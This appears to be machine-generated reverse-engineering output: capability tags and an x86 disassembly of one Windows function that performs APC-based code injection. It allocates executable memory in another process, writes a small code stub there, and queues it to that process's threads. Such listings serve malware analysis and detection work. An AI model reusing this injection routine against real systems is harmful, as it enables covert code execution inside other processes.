Function at 0x408110
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Inject apc

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b70d
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x70
mov eax, dword [0x410008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x70], ecx
mov eax, dword [ebx + 8]
push 0x40
push 0x3000
push 0x100
mov dword [ebp - 0x64], eax
mov eax, dword [ebx + 0xc]
push 0
mov dword [ebp - 0x68], eax
mov eax, dword [ebx + 0x10]
push ecx
mov dword [ebp - 0x78], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 0x6c], edi
test edi, edi
jne 0x408198
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
mov eax, 0x10400001
jmp 0x408368
mov eax, dword [ebp - 0x64]
push 0
push 0x2a
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x38], esi
mov esi, dword [ebp - 0x70]
push edi
push esi
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x34], 0xebec8b55
mov dword [ebp - 0x30], 0x5d8b5300
mov dword [ebp - 0x2c], 0x473ff08
mov dword [ebp - 0x28], 0x850853ff
mov dword [ebp - 0x24], 0x890674c0
mov dword [ebp - 0x20], 0x1043c603
mov dword [ebp - 0x1c], 0xc25d5b15
mov word [ebp - 0x18], 4
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40821a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x68]
push 0x8000
push 0
push edi
push esi
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, 0x10400002
jmp 0x408368
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x5c]
movq qword [ebp - 0x4c], xmm0
movups xmmword [ebp - 0x5c], xmm0
call fcn.00406bf0
push esi
lea ecx, [ebp - 0x5c]
mov dword [ebp - 4], 0
call fcn.00406c90
test al, al
jne 0x408253
mov esi, 0x10200001
jmp 0x40835e
xor al, al
mov byte [ebp - 0x5d], al
lea eax, [edi + 0xc]
mov dword [ebp - 0x74], eax
nop
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x5c]
call fcn.00406fb0
test al, al
je 0x4082cf
cmp dword [ebp - 0x64], 0xf
je 0x4082cf
lea ecx, [ebp - 0x5c]
call fcn.00406fa0
mov esi, eax
test esi, esi
je 0x4082cf
push esi
push 0
push 0x10
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x4082cf
push dword [ebp - 0x6c]
push edi
push dword [ebp - 0x74]
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
je 0x4082bd
push 0
push 0
push 0
push esi
mov byte [ebp - 0x5d], 1
call dword [sym.imp.USER32.dll_PostThreadMessageW]
jmp 0x4082c8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x5c]
call fcn.00406d00
test al, al
jne 0x408260
cmp byte [ebp - 0x5d], al
jne 0x4082fa
push 0x8000
push 0
push dword [ebp - 0x6c]
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov esi, 0x10400005
jmp 0x40835e
mov eax, dword [ebp - 0x68]
mov dword [eax], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [ebp - 0x6c]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x64], edx
mov dword [eax], 0
push 0
push 4
push eax
push edi
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, dword [ebp - 0x74]
sbb edx, dword [ebp - 0x64]
test edx, edx
ja 0x408359
jb 0x408349
cmp eax, 0x7d0
ja 0x408359
push 0xa
call esi
mov eax, dword [ebp - 0x78]
cmp dword [eax], 0
je 0x408321
xor esi, esi
jmp 0x40835e
mov esi, 0x10400006
lea ecx, [ebp - 0x5c]
call fcn.00406c80
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040a480
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret